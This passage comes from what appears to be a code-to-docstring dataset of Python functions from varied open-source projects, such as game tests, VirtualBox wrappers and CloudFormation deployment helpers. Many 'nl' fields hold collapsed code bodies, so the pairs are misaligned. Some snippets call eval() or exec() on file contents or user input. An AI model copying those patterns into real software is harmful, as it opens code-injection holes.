msg.split('|')self.assertEqual(msg, [\"< Char takes a step toward Char2.\",\"< Char kicks Char2 savagely, sending them reeling.\"])prompt = prompt.split('&')self.assertEqual(prompt, [\"[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]\",\"[ HP: 8 | WM: 0 | BM: 0 | SP: 8 ]\"])msg, prompt = self.parse_msg_mock(self.obj1)msg = msg.split('|')self.assertEqual(msg, [\".. Char takes a step toward Char2.\",\".. Char kicks Char2 savagely, sending them reeling.\"])###### test successful attack messaging for a kickself.assertEqual(ch.get_range(self.char1, self.char2), 'melee')# run both subturns of a kick action[rulebook._do_kick(st, self.char1, self.char2, ['subdue']) for st in (1, 0)]# confirm messaging and stats promptmsg, prompt = self.parse_msg_mock(self.char1)msg = msg.split('|')self.assertEqual(msg, [\"> Char(#6) takes a step toward Char2(#7).\",\"> Char(#6) kicks Char2(#7) squarely in the chest, and Char2(#7) staggers from the blow.\"])msg, prompt = self.parse_msg_mock(self.char2)msg = msg.split('|')self.assertEqual(msg, [\"< Char takes a step toward Char2.\",\"< Char kicks Char2 squarely in the chest, and Char2 staggers from the blow.\"])prompt = prompt.split('&')self.assertEqual(prompt, [\"[ HP: 8 | WM: 0 | BM: 0 | SP: 8 ]\",\"[ HP: 8 | WM: 0 | BM: 0 | SP: 6 ]\"])msg, prompt = self.parse_msg_mock(self.obj1)msg = msg.split('|')self.assertEqual(msg, [\".. Char takes a step toward Char2.\",\".. Char kicks Char2 squarely in the chest, and Char2 staggers from the blow.\"])# final direct stat checkself.assertEqual(self.char2.traits.HP.actual, 8)self.assertEqual(self.char2.traits.SP.actual, 6)@patch('world.rulebook.std_roll', new=lambda: 0)def test_strike_fail(self):test failing 'strike' attacks"} {"code": "def TransactionCall(self, request, context):\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n", "nl": "server streaming rpc for general transaction requests,would invoke CommRqData() with several SetInputValue()s for a transaction request,would wait for OnReceiveTrData() events,would handle those events to gather results by invoking GetRepeatCnt() and GetCommData() inside,might do additional CommRqData() and SetInputValue() inside event handler for possible consecutive lookups"} {"code": "def get_pkgdata_bytes(package, resource, url=None):\n return get_pkgdata_str(package, resource, url, 'ignore')\n\nclass HASH:\n '''Supported hash algorithm constructors are provided via attribute name,\n\n algorithms_available = {'MD5', 'SHA1', 'SHA224', 'SHA256', 'SHA384', 'SHA512'}\n init = None\n", "nl": "Fetch the resource data from package, or from a fallback URL if give.Params: same as get_pkgdata_str(), but encoding could not be set, it'salways 'ignore'.Return: bytes of requested resource."} {"code": "def isRemote(self):\n VirtualBox API manager class.\n\n The API users will have to instantiate this. If no parameters are given,", "nl": " Returns True if remote VBox host, False if local. return Truedef getArray(self, oInterface, sAttrib):return oInterface.__getattr__(sAttrib)def setArray(self, oInterface, sAttrib, aoArray):return oInterface.__setattr__(sAttrib, aoArray)def waitForEvents(self, timeout):# Webservices cannot do that yetreturn 2def interruptWaitEvents(self, timeout):# Webservices cannot do that yetreturn Falsedef deinit(self):try:self.disconnect()except:passdef queryInterface(self, oIUnknown, sClassName):d = {}d['oIUnknown'] = oIUnknownstr = \"\"str += \"from VirtualBox_wrappers import \" + sClassName + \"\\n\"str += \"result = \" + sClassName + \"(oIUnknown.mgr, oIUnknown.handle)\\n\"# wrong, need to test if class indeed implements this interfaceexec(str, d, d)return d['result']## Web service specific methods.#def connect(self, url, user, passwd):if self.vbox is not None:self.disconnect()from VirtualBox_wrappers import IWebsessionManager2if url is None:url = \"\"self.url = urlif user is None:user = \"\"self.user = userif passwd is None:passwd = \"\"self.password = passwdself.wsmgr = IWebsessionManager2(self.url)self.vbox = self.wsmgr.logon(self.user, self.password)if not self.vbox.handle:raise Exception(\"cannot connect to '\" + self.url + \"' as '\" + self.user + \"'\")return self.vboxdef disconnect(self):if self.vbox is not None and self.wsmgr is not None:self.wsmgr.logoff(self.vbox)self.vbox = Noneself.wsmgr = None## The current (last) exception class.# This is reinitalized whenever VirtualBoxManager is called, so it will hold# the reference to the error exception class for the last platform/style that# was used. Most clients does talk to multiple VBox instance on different# platforms at the same time, so this should be sufficent for most uses and# be way simpler to use than VirtualBoxManager::oXcptClass.CurXctpClass = Noneclass VirtualBoxManager(object):"} {"code": "def _get_feature2field(self):\n fea_id = 0\n for names in self.feature_names:\n if names is not None:\n for name in names:\n self.feature2id[name] = fea_id\n fea_id += 1\n\n if self.fields is None:\n field_id = 0\n for key, value in self.feature2id.items():\n self.feature2field[self.feature2id[key]] = field_id\n field_id += 1\n else:\n for key, value in self.fields.items():\n for v in value:\n try:\n self.feature2field[self.feature2id[v]] = key\n except:\n pass\n", "nl": "rCreate a mapping between features and fields."} {"code": "def is_empty(self):\n\t\tif self.stack1.is_empty():\n\t\t\treturn True\n\n\t\treturn False", "nl": "Function to check if the sorted stack is empty"} {"code": "def _update_app_rrds(data, app_metrics_dir, rrdclient, step, tm_env):\n\n @click.command()\n @click.option('--step', '-s',\n type=click.IntRange(_METRIC_STEP_SEC_MIN,\n _METRIC_STEP_SEC_MAX),", "nl": "Update core services rrdsinterval = int(step) * 2total = 0for app_unique_name in data:try:localdisk = tm_env.svc_localdisk.get(app_unique_name)blkio_major_minor = '{major}:{minor}'.format(major=localdisk['dev_major'],minor=localdisk['dev_minor'],)except (exc.TreadmillError, IOError, OSError):blkio_major_minor = Nonerrdfile = os.path.join(app_metrics_dir, '{app}.rrd'.format(app=app_unique_name))_LOGGER.debug('Update %s metrics from maj:min %s',app_unique_name, blkio_major_minor)rrd.prepare(rrdclient, rrdfile, step, interval)if rrd.update(rrdclient, rrdfile, data[app_unique_name], blkio_major_minor):total += 1_LOGGER.debug('Updated %d container metrics', total)return totaldef init():Top level command handler."} {"code": "def fit(self, y, p):\n\n if p.size != p.shape[0]:\n p = p[:, 1]\n\n fpr, tpr, thresholds = roc_curve(y, p)\n if fpr.min() > 0 or tpr.min() > 0:\n fpr = np.hstack((0, fpr))\n tpr = np.hstack((0, tpr))\n thresholds = np.hstack((1.01, thresholds))\n", "nl": " Fit the calibration mapParameters----------y_true : array-like of shape = [n_samples]True class to be used for calibrating the probabilitiesy_prob : array-like of shape = [n_samples, 2]Predicted probabilities to be used for calibrating the probabilitiesReturns-------self : objectReturns self."} {"code": "def test_from_json_and_to_json(self, skill_path):\n skill_config_path = Path(DUMMY_SKILL_PATH)\n loader = ConfigLoaders.from_package_type(PackageType.SKILL)\n skill_config = loader.load(skill_config_path.open())\n\n dummy_behaviour = skill_config.behaviours.read(\"dummy\")\n expected_dummy_behaviour_args = copy(dummy_behaviour.args)\n expected_dummy_behaviour_args[\"behaviour_arg_1\"] = 42\n\n dummy_handler = skill_config.handlers.read(\"dummy\")\n expected_dummy_handler_args = copy(dummy_handler.args)\n expected_dummy_handler_args[\"handler_arg_1\"] = 42\n\n dummy_model = skill_config.models.read(\"dummy\")\n expected_dummy_model_args = copy(dummy_model.args)\n expected_dummy_model_args[\"model_arg_1\"] = 42\n\n new_configurations = {\n \"behaviours\": {\"dummy\": {\"args\": dict(behaviour_arg_1=42)}},\n \"handlers\": {\"dummy\": {\"args\": dict(handler_arg_1=42)}},\n \"models\": {\"dummy\": {\"args\": dict(model_arg_1=42)}},\n }\n directory = \"test_directory\"\n skill_config.directory = directory\n skill_config.update(new_configurations)\n\n assert skill_config.directory == directory\n\n assert (\n expected_dummy_behaviour_args == skill_config.behaviours.read(\"dummy\").args\n )\n assert expected_dummy_handler_args == skill_config.handlers.read(\"dummy\").args\n assert expected_dummy_model_args == skill_config.models.read(\"dummy\").args\n assert len(skill_config.package_dependencies)\n", "nl": "Test the 'from_json' method and 'to_json' work correctly.f = open(skill_path)original_json = yaml.safe_load(f)original_json[\"build_directory\"] = \"some\"expected_config = SkillConfig.from_json(original_json)assert isinstance(expected_config, SkillConfig)expected_json = expected_config.jsonactual_config = SkillConfig.from_json(expected_json)actual_json = actual_config.jsonassert expected_json == actual_jsondef test_update_method(self):Test the update method."} {"code": "def __init__(self, importer):\n\n `importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path item\n handler), and `distribution_finder` is a callable that, passed a path\n item and the importer instance, yields ``Distribution`` instances found on\n that path item. See ``pkg_resources.find_on_path`` for an example.\"\"\"", "nl": "Create a metadata provider from a zipimporterself.zip_pre = importer.archive + os.sepself.loader = importerif importer.prefix:self.module_path = os.path.join(importer.archive, importer.prefix)else:self.module_path = importer.archiveself._setup_prefix()_declare_state('dict', _distribution_finders={})def register_finder(importer_type, distribution_finder):Register `distribution_finder` to find distributions in sys.path items"} {"code": "def read_and_tokenize(dialog_path):\n\n all_dialogs = []\n all_emotion_classes = []\n with open(dialog_path, 'r') as f:\n\n for line in tqdm(f):\n dialog = []\n emotions = []\n\n s = eval(line)\n for item in s['dialogue']:\n dialog.append(item['text'])\n emotions.append(emo_classes[item['emotion']])\n\n dialog = [tokenizer(sentence) for sentence in dialog]\n\n all_dialogs.append(dialog)\n all_emotion_classes.append(emotions)\n\n return all_dialogs, all_emotion_classes\n\n", "nl": "Read conversationArgs:dialog_path (str): path of dialog (tsv format)Return:dialogs: (list of list of str) [dialog_length, sentence_length]users: (list of str); [2]"} {"code": "def get_names_flat(adtype):\n listnames = []\n names = adtype.names\n for name in names:\n listnames.append(name)\n current = adtype[name]\n if current.names:\n listnames.extend(get_names_flat(current))\n return tuple(listnames) or None\n\n", "nl": "Returns the field names of the input datatype as a tuple. Nested structureare flattened beforehand.Parameters----------adtype : dtypeInput datatypeExamples-------->>> from numpy.lib import recfunctions as rfn>>> rfn.get_names_flat(np.empty((1,), dtype=int)) is NoneTraceback (most recent call last):...AttributeError: 'numpy.ndarray' object has no attribute 'names'>>> rfn.get_names_flat(np.empty((1,), dtype=[('A',int), ('B', float)]))Traceback (most recent call last):...AttributeError: 'numpy.ndarray' object has no attribute 'names'>>> adtype = np.dtype([('a', int), ('b', [('ba', int), ('bb', int)])])>>> rfn.get_names_flat(adtype)('a', 'b', 'ba', 'bb')"} {"code": "def _bind_managed(self, _, svc, svc_ref):\n with self.__lock:\n self._managed_refs[svc_ref] = svc\n\n if self.__validated and self._controller:\n pid = svc_ref.get_property(pelix.constants.SERVICE_PID)\n try:\n self.__notify_single(pid, svc)\n except KeyError as ex:\n _logger.error(\"Error configuring a service: %s\", ex)\n\n @UnbindField(\"_managed\")", "nl": "A managed service has been bound"} {"code": "def training_step(self, train_batch, batch_idx):\n x, y = train_batch\n logits = self.forward(x)\n loss = self.cross_entropy_loss(logits, y)\n return {\"loss\": loss}\n", "nl": "Training the data as batches and returns training loss on each batch:param train_batch: Batch data:param batch_idx: Batch indices:return: output - Training loss"} {"code": "def insert_db(sq, res, period, min_ce=2, max_ce=60 * 2, grace_commit=2 / 3.):\n\n if not hasattr(insert_db, \"i\"):\n insert_db.i = 0\n if not hasattr(insert_db, \"commit_every\"):\n insert_db.commit_every = 5\n\n tstamp = int(time.time())\n if \"rr\" in res:\n for rr in res[\"rr\"]:\n sq.execute(\"INSERT INTO hrm VALUES (?, ?, ?)\", (tstamp, res[\"hr\"], rr))\n else:\n sq.execute(\"INSERT INTO hrm VALUES (?, ?, ?)\", (tstamp, res[\"hr\"], -1))\n\n if insert_db.i < insert_db.commit_every:\n insert_db.i += 1\n else:\n t = time.time()\n sq.commit()\n delta_t = time.time() - t\n log.debug(\"sqlite commit time: \" + str(delta_t))\n sq.execute(\"INSERT INTO sql VALUES (?, ?, ?)\", (int(t), delta_t, insert_db.commit_every))\n\n if delta_t < period * grace_commit:\n insert_db.commit_every = min(insert_db.commit_every + 1, max_ce)\n else:\n insert_db.commit_every = max(insert_db.commit_every / 2, min_ce)\n\n insert_db.i = 0\n\n", "nl": "Inserts data into the database"} {"code": "def factor(self):\n token = self.current_token\n if token.type == PLUS:\n self.eat(PLUS)\n node = UnaryOp(token, self.factor())\n return node\n elif token.type == MINUS:\n self.eat(MINUS)\n node = UnaryOp(token, self.factor())\n return node\n elif token.type == INTEGER:\n self.eat(INTEGER)\n return Num(token)\n elif token.type == LPAREN:\n self.eat(LPAREN)\n node = self.expr()\n self.eat(RPAREN)\n return node\n else:\n node = self.variable()\n return node\n", "nl": "factor : PLUS factor| MINUS factor| INTEGER| LPAREN expr RPAREN| variable"} {"code": "def _srv_to_urls(srv_recs, protocol=None):\n return [dnsutils.srv_rec_to_url(srv_rec,\n protocol=protocol)\n for srv_rec in srv_recs]\n\n", "nl": "Converts list of SRV records to list of URLs."} {"code": "def inspect(self):\n pass\n", "nl": "Inspects the object on the client, i.e. makes actual calls to the client to check on the object."} {"code": "def hide_behind(self, home_node, behind_node):\n token = self.dispG.nodes(data=True)[disp_node]['token']\n token.mark()\n\n @undoable", "nl": "Hide radial string behind edge from home_node to behind_nodenodes = self._radial_behind(home_node, behind_node)if nodes is None:raise ValueError('No radial string detected')for n in nodes:self.hide_node(n)def onNodeKey(self, event):item = self._get_id(event)cmd = event.char.upper()if cmd == 'G':self.grow_node(item)elif cmd == 'H':self.hide_node(item)elif cmd == 'M':self.mark_node(item)@undoabledef grow_node(self, disp_node, levels=1):data_node = self.dispG.nodes(data=True)[disp_node]['dataG_id']grow_graph = self._neighbors(data_node, levels)self._plot_additional(grow_graph.nodes())@undoabledef grow_until(self, disp_node, stop_condition=None, levels=0):# Find condition to stop growingif stop_condition is None:stop_condition = tkd.askstring(\"Stop Condition\", \"Enter lambda \"\"function which returns True when stop condition is met.\\n\"\"Parameters are:\\n - u, the node's name, and \\n \"\"- d, the data dictionary.\\n\\nExample: \"\"d['color']=='red' \\nwould grow until a red node is found.\")if stop_condition is None: returndata_node = self.dispG.nodes(data=True)[disp_node]['dataG_id']existing_data_nodes = set([ v['dataG_id']for k,v in self.dispG.nodes(data=True) ])max_iters = 10stop_node = None # Node which met stop conditiongrow_nodes = set([data_node]) # New nodes# Iterate until we find a node that matches the stop condition (or,# worst case, we reach max iters)for i in range(1,max_iters+1):old_grow_nodes = grow_nodes.copy()grow_nodes.clear()for n in old_grow_nodes:grow_graph = self._neighbors(n, levels=i)grow_nodes = grow_nodes.union(set(grow_graph.nodes())) - \\existing_data_nodes - old_grow_nodesif len(grow_nodes) == 0:# Start out next iteration with the entire graphgrow_nodes = existing_data_nodes.copy()continuefor u in grow_nodes:d = self.dataG.nodes[u]try:stop = eval(stop_condition, {'u':u, 'd':d})except Exception as e:tkm.showerror(\"Invalid Stop Condition\",\"Evaluating the stop condition\\n\\n\" +stop_condition + \"\\n\\nraise the following \" +\"exception:\\n\\n\" + str(e))returnif stop:stop_node = ubreakif stop_node is not None:breakif stop_node is None:tkm.showerror(\"Stop Condition Not Reached\", \"Unable to find a node \"\"which meet the stop condition within %d levels.\"%i)return## Grow the number of times it took to find the node#self.grow_node(disp_node, i)# Find shortest path to stop_nodeself.plot_path(data_node, stop_node, levels=levels, add_to_exsting=True)@undoabledef hide_node(self, disp_node):# Remove all the edges from displayfor n, m, d in self.dispG.edges(disp_node, data=True):d['token'].delete()# Remove the node from displayself.delete(disp_node)# Remove the node from dispGself.dispG.remove_node(disp_node)self._graph_changed()@undoabledef mark_node(self, disp_node):Mark a display node"} {"code": "def is_model_blessed(model_blessing: types.Artifact) -> bool:\n return model_blessing.get_int_custom_property('blessed') == 1\n\n", "nl": "Returns whether model is blessed by upstream ModelValidator.Args:model_blessing: model blessing artifact from model_validator.Returns:True if the model is blessed by validator."} {"code": "def tearDown(self):\n sys.modules.clear()\n sys.modules.update(self.preTestModules)\n sys.path.remove(self.entry.path)\n\n", "nl": "Remove the imported modules and sys.path modifications."} {"code": "def _rmmin(self):\n for spi in self.spis:\n mpi = self.table[spi]\n if not self.spis[spi].issigned():\n self.table[spi] = mpi - np.nanmin(mpi)\n", "nl": " Iterate through all spis and remove the minimum (fixes absolute value errors when correlating)"} {"code": "def merge_all_sections(prnt_sctns, child_sctns, style, merge_within_sections=False):\n doc = []\n\n prnt_only_raises = prnt_sctns[\"Raises\"] and not (\n prnt_sctns[\"Returns\"] or prnt_sctns[\"Yields\"]\n )\n if prnt_only_raises and (child_sctns[\"Returns\"] or child_sctns[\"Yields\"]):\n prnt_sctns[\"Raises\"] = None\n\n for key in prnt_sctns:\n sect = merge_section(\n key,\n prnt_sctns[key],\n child_sctns[key],\n style,\n merge_within_sections=merge_within_sections,\n )\n if sect is not None:\n doc.append(sect)\n return \"\\n\\n\".join(doc) if doc else None\n\n", "nl": "Merge the doc-sections of the parent's and child's attribute into a single docstring.Parameters----------prnt_sctns: OrderedDict[str, Union[None,str]]child_sctns: OrderedDict[str, Union[None,str]]Returns-------strOutput docstring of the merged docstrings."} {"code": "def start_torrent(self, ids, bypass_queue=False, timeout=None):\n\n .. WARNING::\n Deprecated, please use start_torrent.\n \"\"\"", "nl": "Start torrent(s) with provided id(s)method = 'torrent-start'if bypass_queue and self.rpc_version >= 14:method = 'torrent-start-now'self._request(method, {}, ids, True, timeout=timeout)def start(self, ids, bypass_queue=False, timeout=None):"} {"code": "def test_merge_batch(self):\n test_work_dir = self.work_dir(\"test_merge_batch\")\n merged_mapped_signal_file = os.path.join(\n test_work_dir, 'merged_mappedsignalfile_batch.hdf5')\n print(\"Looking for {} (absolute path = {})\".format(\n self.mapped_signal_file0,\n os.path.abspath(self.mapped_signal_file0)))\n print(\"Result to be placed in {} (absolute path = {})\".format(\n merged_mapped_signal_file,\n os.path.abspath(merged_mapped_signal_file)))\n self.assertTrue(os.path.exists(self.mapped_signal_file0))\n self.assertTrue(os.path.exists(self.mapped_signal_file1))\n\n cmd = [self.merge_script,\n merged_mapped_signal_file,\n \"--input\", self.mapped_signal_file0, \"None\",\n \"--input\", self.mapped_signal_file1, \"None\", \"--batch_format\"]\n util.run_cmd(self, cmd)\n\n print(\"Counting reads in mapped signal file 0\")\n numreads_0 = self.count_reads(self.mapped_signal_file0)\n print(\"Counting reads in mapped signal file 1\")\n numreads_1 = self.count_reads(self.mapped_signal_file1)\n numreads_in = numreads_0 + numreads_1\n print((\"Total number of reads in files to be merged \" +\n \"= {} + {} = {}\").format(\n numreads_0, numreads_1, numreads_in))\n\n print(\"Counting reads in merged mapped signal file\")\n numreads_out = self.count_reads(merged_mapped_signal_file)\n print(\"Total number of reads in merged file = {}\".format(numreads_out))\n\n self.assertTrue(numreads_in == numreads_out)\n self.assertTrue(numreads_in > 2)", "nl": "Test that merging two 'batch' mapped signal files produces theoutput expected."} {"code": "def __init__(self, session_factory, scopefunc=None):\n self.session_factory = session_factory\n\n if scopefunc:\n self.registry = ScopedRegistry(session_factory, scopefunc)\n else:\n self.registry = ThreadLocalRegistry(session_factory)\n", "nl": "Construct a new :class:`.scoped_session`.:param session_factory: a factory to create new :class:`.Session`instances. This is usually, but not necessarily, an instanceof :class:`.sessionmaker`.:param scopefunc: optional function which definesthe current scope. If not passed, the :class:`.scoped_session`object assumes \"thread-local\" scope, and will usea Python ``threading.local()`` in order to maintain the current:class:`.Session`. If passed, the function should returna hashable token; this token will be used as the key in adictionary in order to store and retrieve the current:class:`.Session`."} {"code": "def credentials(self):\n Aggresively search through your database's schema for a table.\n\n Parameters\n -----------\n search: str\n glob pattern for what you're looking for\n\n Examples\n ----------\n >>> from db import DemoDB\n >>> db = DemoDB()\n >>> db.find_table(\"A*\")\n +--------+--------------------------+\n | Table | Columns |\n +--------+--------------------------+\n | Album | AlbumId, Title, ArtistId |\n | Artist | ArtistId, Name |\n +--------+--------------------------+\n >>> results = db.find_table(\"tmp*\")\n >>> results = db.find_table(\"prod_*\")\n >>> results = db.find_table(\"*Invoice*\")\n >>> results = db.find_table(\"*\")\n \"\"\"", "nl": "Dict representation of all credentials for the database.if self.filename:db_filename = os.path.join(os.getcwd(), self.filename)else:db_filename = Nonereturn {\"username\": self.username,\"password\": self.password,\"hostname\": self.hostname,\"port\": self.port,\"filename\": db_filename,\"dbname\": self.dbname,\"dbtype\": self.dbtype,\"schemas\": self.schemas,\"limit\": self.limit,\"keys_per_column\": self.keys_per_column,}def find_table(self, search):"} {"code": "def visit_subscript(self, node):\n if node.attrname == \"xreadlines\":\n self.add_message(\"xreadlines-attribute\", node=node)\n return\n\n exception_message = \"message\"\n try:\n for inferred in node.expr.infer():\n if isinstance(inferred, astroid.Instance) and utils.inherit_from_std_ex(\n inferred\n ):\n if node.attrname == exception_message:\n", "nl": " Look for indexing exceptions. try:for inferred in node.value.infer():if not isinstance(inferred, astroid.Instance):continueif utils.inherit_from_std_ex(inferred):self.add_message(\"indexing-exception\", node=node)except astroid.InferenceError:returndef visit_assignattr(self, node):if isinstance(node.assign_type(), astroid.AugAssign):self.visit_attribute(node)def visit_delattr(self, node):self.visit_attribute(node)@utils.check_messages(\"exception-message-attribute\", \"xreadlines-attribute\")def visit_attribute(self, node):Look for removed attributes"} {"code": "def is_updateable(self, resource):\n resource_id = resource_new[\"LogicalResourceId\"]\n resource_old = self.resources[resource_id]\n props_old = resource_old[\"Properties\"]\n props_new = resource_new[\"Properties\"]\n ignored_keys = [\"LogicalResourceId\", \"PhysicalResourceId\"]\n old_keys = set(props_old.keys()) - set(ignored_keys)\n new_keys = set(props_new.keys()) - set(ignored_keys)\n if old_keys != new_keys:\n return True\n for key in old_keys:\n if props_old[key] != props_new[key]:\n return True\n old_status = self.stack.resource_states.get(resource_id) or {}\n previous_state = (\n old_status.get(\"PreviousResourceStatus\") or old_status.get(\"ResourceStatus\") or \"\"\n )\n if old_status and \"DELETE\" in previous_state:\n return True\n", "nl": "Return whether the given resource can be updated or not.if not self.is_deployable_resource(resource) or not self.is_deployed(resource):return Falseresource_type = get_resource_type(resource)return resource_type in UPDATEABLE_RESOURCESdef all_resource_dependencies_satisfied(self, resource):unsatisfied = self.get_unsatisfied_dependencies(resource)return not unsatisfieddef get_unsatisfied_dependencies(self, resource):res_deps = self.get_resource_dependencies(resource)return self.get_unsatisfied_dependencies_for_resources(res_deps, resource)def get_unsatisfied_dependencies_for_resources(self, resources, depending_resource=None, return_first=True):result = {}for resource_id, resource in resources.items():if self.is_deployable_resource(resource):if not self.is_deployed(resource):LOG.debug(\"Dependency for resource %s not yet deployed: %s %s\",depending_resource,resource_id,resource,)result[resource_id] = resourceif return_first:breakreturn resultdef get_resource_dependencies(self, resource):result = {}# Note: using the original, unmodified template here to preserve Ref's ...raw_resources = self.stack.template_original[\"Resources\"]raw_resource = raw_resources[resource[\"LogicalResourceId\"]]dumped = json.dumps(json_safe(raw_resource))for other_id, other in raw_resources.items():if resource != other:# TODO: traverse dict instead of doing string search!search1 = '{\"Ref\": \"%s\"}' % other_idsearch2 = '{\"Fn::GetAtt\": [\"%s\", ' % other_idif search1 in dumped or search2 in dumped:result[other_id] = otherif other_id in resource.get(\"DependsOn\", []):result[other_id] = otherreturn result# -----------------# DEPLOYMENT UTILS# -----------------def add_default_resource_props(self, resources=None):resources = resources or self.resourcesfor resource_id, resource in resources.items():add_default_resource_props(resource, self.stack_name, resource_id=resource_id, existing_resources=resources)def init_resource_status(self, resources=None, stack=None, action=\"CREATE\"):resources = resources or self.resourcesstack = stack or self.stackfor resource_id, resource in resources.items():stack.set_resource_status(resource_id, \"%s_IN_PROGRESS\" % action)def update_resource_details(self, resource_id, result, stack=None, action=\"CREATE\"):stack = stack or self.stack# update resource stateupdate_resource_details(stack, resource_id, result, action)# update physical resource idresource = stack.resources[resource_id]physical_id = resource.get(\"PhysicalResourceId\")physical_id = physical_id or determine_resource_physical_id(resource_id, stack=stack)if not resource.get(\"PhysicalResourceId\") or action == \"UPDATE\":if physical_id:resource[\"PhysicalResourceId\"] = physical_id# set resource statusstack.set_resource_status(resource_id, \"%s_COMPLETE\" % action, physical_res_id=physical_id)return physical_iddef get_change_config(self, action, resource, change_set_id=None):return {\"Type\": \"Resource\",\"ResourceChange\": {\"Action\": action,\"LogicalResourceId\": resource.get(\"LogicalResourceId\"),\"PhysicalResourceId\": resource.get(\"PhysicalResourceId\"),\"ResourceType\": resource.get(\"Type\"),\"Replacement\": \"False\",\"ChangeSetId\": change_set_id,},}def resource_config_differs(self, resource_new):Return whether the given resource properties differ from the existing config (for stack updates)."} {"code": "def read_only(self, read_only):\n\n self._read_only = read_only\n\n @property", "nl": "Sets the read_only of this V1FCVolumeSource.Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts. # noqa: E501:param read_only: The read_only of this V1FCVolumeSource. # noqa: E501:type: bool"} {"code": "def inline_softmax(N, buf, buf2, threadPos, threadCount):\n return [\n inline_reduce_max(N, buf, threadPos, threadCount),\n '__syncthreads()',\n 'float row_max = ' + buf + '[0]',\n '__syncthreads()',\n 'for(int __i=' + threadPos + '; __i<' + N +\n '; __i+=' + threadCount + '){',\n buf + '[__i] = exp(' + buf2 + '[__i] - row_max)',\n buf2 + '[__i] = ' + buf + '[__i]',\n '}',\n '__syncthreads()',\n inline_reduce_sum(N, buf, threadPos, threadCount),\n '__syncthreads()',\n 'float row_sum = ' + buf + '[0]',\n '__syncthreads()',\n 'for(int __i=' + threadPos + '; __i<' + N +\n '; __i+=' + threadCount + '){',\n buf + '[__i] = ' + buf2 + '[__i] / row_sum',\n '}',\n '__syncthreads()',\n ]\n\n\n@code_version((1,))", "nl": "Parameters----------NLength of the buffer.threadPosIndex of executing thread.threadCountNumber of executing threads.:Precondition: buf and buf2 contain two identical copies of the inputto softmax:Postcondition: buf contains the softmax, buf2 contains un-normalizedsoftmaxNotes-----buf and buf2 should be in gpu shared memory, we access it many times.We use __i as an int variable in a loop."} {"code": "def config_filepath_fixture(raw_config):\n return json.loads(load_fixture(device_data_filename))\n\n\n@pytest.fixture(name=\"device_data_filename\")", "nl": "Define a fixture to return a config filepath.with tempfile.NamedTemporaryFile() as temp_file:with open(temp_file.name, \"w\", encoding=\"utf-8\") as config_file:config_file.write(raw_config)yield temp_file.name@pytest.fixture(name=\"device_data\")def device_data_fixture(device_data_filename):Define a fixture to return device_data."} {"code": "def test_s3upload_make_tarfile_fail_generic_oserror(self, mock_tar_open):\n with self.assertRaises(ec2rlcore.s3upload.S3UploadTarfileWriteError):\n ec2rlcore.s3upload.make_tarfile(\"tartest.tar.gz\", \"tartest_dir\")\n\n mock_tar_open.assert_called_once_with(\"tartest.tar.gz\", \"w:gz\")\n file_handle = mock_tar_open.return_value.__enter__.return_value\n file_handle.add.assert_not_called()\n\n @mock.patch(\"ec2rlcore.s3upload.requests.put\", side_effect=requests.exceptions.Timeout())\n @mock.patch(\"ec2rlcore.s3upload.open\")", "nl": "Test handling of an IOError that isn't errno=2.with self.assertRaises(ec2rlcore.s3upload.S3UploadTarfileWriteError):ec2rlcore.s3upload.make_tarfile(\"tartest.tar.gz\", \"tartest_dir\")mock_tar_open.assert_called_once_with(\"tartest.tar.gz\", \"w:gz\")file_handle = mock_tar_open.return_value.__enter__.return_valuefile_handle.add.assert_not_called()@mock.patch(\"ec2rlcore.s3upload.tarfile.open\", side_effect=OSError(2, \"No such file or directory\"))def test_s3upload_make_tarfile_fail_oserror_fnfe(self, mock_tar_open):Test handling of an OSError a missing source directory."} {"code": "def local_z2(self, x, y):\n asymmetric crystal, *local_n* must return 2 normals: the 1st one of the\n atomic planes and the 2nd one of the surface.\"\"\"", "nl": "Determines the surface of OE at (x, y) position.return self.local_z(x, y)def local_n1(self, x, y):Determines the normal vector of OE at (x, y) position. If OE is an"} {"code": "def verify_build_env():\n if not os.environ.get(\"BUILDDIR\"):\n raise WicError(\"BUILDDIR not found, exiting. (Did you forget to source oe-init-build-env?)\")\n\n return True\n\n\nCANNED_IMAGE_DIR = \"lib/wic/canned-wks\"\nSCRIPTS_CANNED_IMAGE_DIR = \"scripts/\" + CANNED_IMAGE_DIR\nWIC_DIR = \"wic\"\n", "nl": "Verify that the build environment is sane.Returns True if it is, false otherwise"} {"code": "def put_grants(team_id):\n if not TeamPermission.is_manager(team_id):\n abort(403)\n\n payload = get_payload()\n grants = TeamController.put_grants(team_id=team_id, grants=payload[\"grants\"])\n return jsonify(grants)\n\n\n@api.route(\"/teams/<team_id>/export/grafana\")\n@login_required", "nl": "Change the grants of a team... :quickref: PUT; Change the grants of a team.**Example request**:.. sourcecode:: httpPUT /teams/76b96ead-a7ed-447b-8fa6-26b57bc571e5/grants HTTP/1.1Host: example.comAccept: application/json{'grants': [{'user': 'foo','role': 'member'}]}**Example response**:.. sourcecode:: httpHTTP/1.1 200 OK[{'role': 'member','user': 'john'}]:resheader Content-Type: application/json:status 200: the grants"} {"code": "def __call__(self, s):\n if isinstance(s, str):\n s = [x.strip() for x in s.split(',')]\n err_msg = _str_err_msg\n else:\n err_msg = _seq_err_msg\n\n if self.n is not None and len(s) != self.n:\n raise ValueError(err_msg.format(n=self.n, num=len(s), s=s))\n\n try:\n return [int(val) for val in s]\n except ValueError:\n raise ValueError('Could not convert all entries to ints')\n\n", "nl": "Return a list of *n* floats or raise.if isinstance(s, str):s = [x.strip() for x in s.split(',')]err_msg = _str_err_msgelse:err_msg = _seq_err_msgif self.n is not None and len(s) != self.n:raise ValueError(err_msg.format(n=self.n, num=len(s), s=s))try:return [float(val)if not self.allow_none or val is not Noneelse valfor val in s]except ValueError:raise ValueError('Could not convert all entries to floats')class validate_nseq_int(object):def __init__(self, n=None):self.n = ndef __call__(self, s):Return a list of *n* ints or raise."} {"code": "def load_statistic(self, statistic):\n\t\traise NotImplementedError\n", "nl": " Loads a particular statistic.# Return valueA tuple of `(batch, timestamp, value)`. Each entry in the tuple maybe None. All non-None entries will be numpy arrays of the samelength, containing the respective data."} {"code": "def lexists(path):\n return path\n\n", "nl": "Test whether a path exists. Returns True for broken symbolic linkstry:st = os.lstat(path)except os.error:return Falsereturn Truedef expandvars(path):Dummy to retain interface-compatibility with other operating systems."} {"code": "def __update_indicies(self, documents, metadata):\n for idx_doc in metadata.get('indexes', 